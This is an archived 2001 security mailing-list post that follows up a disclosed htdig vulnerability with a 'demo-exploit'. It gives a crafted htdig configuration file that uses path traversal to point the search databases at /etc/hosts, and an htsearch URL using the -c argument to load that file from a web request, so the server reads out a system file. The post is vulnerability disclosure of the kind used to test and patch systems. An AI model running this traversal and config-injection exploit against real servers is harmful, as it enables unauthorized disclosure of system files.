htdig HOWTO followup

From: rudi carell (rudicarellat_private)
Date: Thu Oct 18 2001 - 08:19:09 PDT

  • Next message: Greg Rice: "RE: Lab leads??"

    hola,
    
    just wanted to add an example to the recently posted htdig vulnerability ( 
    credits to ghutchisat_private ) ... the problem is that there is no 
    detailed info on how to test it ..
    
    ---cut here---
    http://www.securityfocus.com/cgi-bin/vulns-item.pl?section=info&id=3410
    ---cut here---
    
    
    therefore ... a demo-exploit for a better understanding:
    
    create a file with the following content anywhere on the maschine htdig runs 
    on (be creative an think of guestbooks, logfiles etc etc ..):
    
    ---cut here---
    nothing_found_file: /etc/hosts
    database_base: ${database_dir}/../../../../etc/
    word_db: ${database_base}hosts
    doc_index: ${database_base}hosts
    doc_db: ${database_base}hosts
    ---cut here---
    
    .. then let htsearch use it :
    
    ---cut here--
    http://server.cc/cgi-bin/htsearch?-c+[name-of-file]
    ---cut here---
    
    
    done ..
    
    
    rC
    
    
    securityat_private
    http://www.freefly.com/security/
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    _________________________________________________________________
    Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp
    
    
    ----------------------------------------------------------------------------
    This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
    Service. For more information on SecurityFocus' SIA service which
    automatically alerts you to the latest security vulnerabilities please see:
    https://alerts.securityfocus.com/
    



    This archive was generated by hypermail 2b30 : Thu Oct 18 2001 - 10:39:39 PDT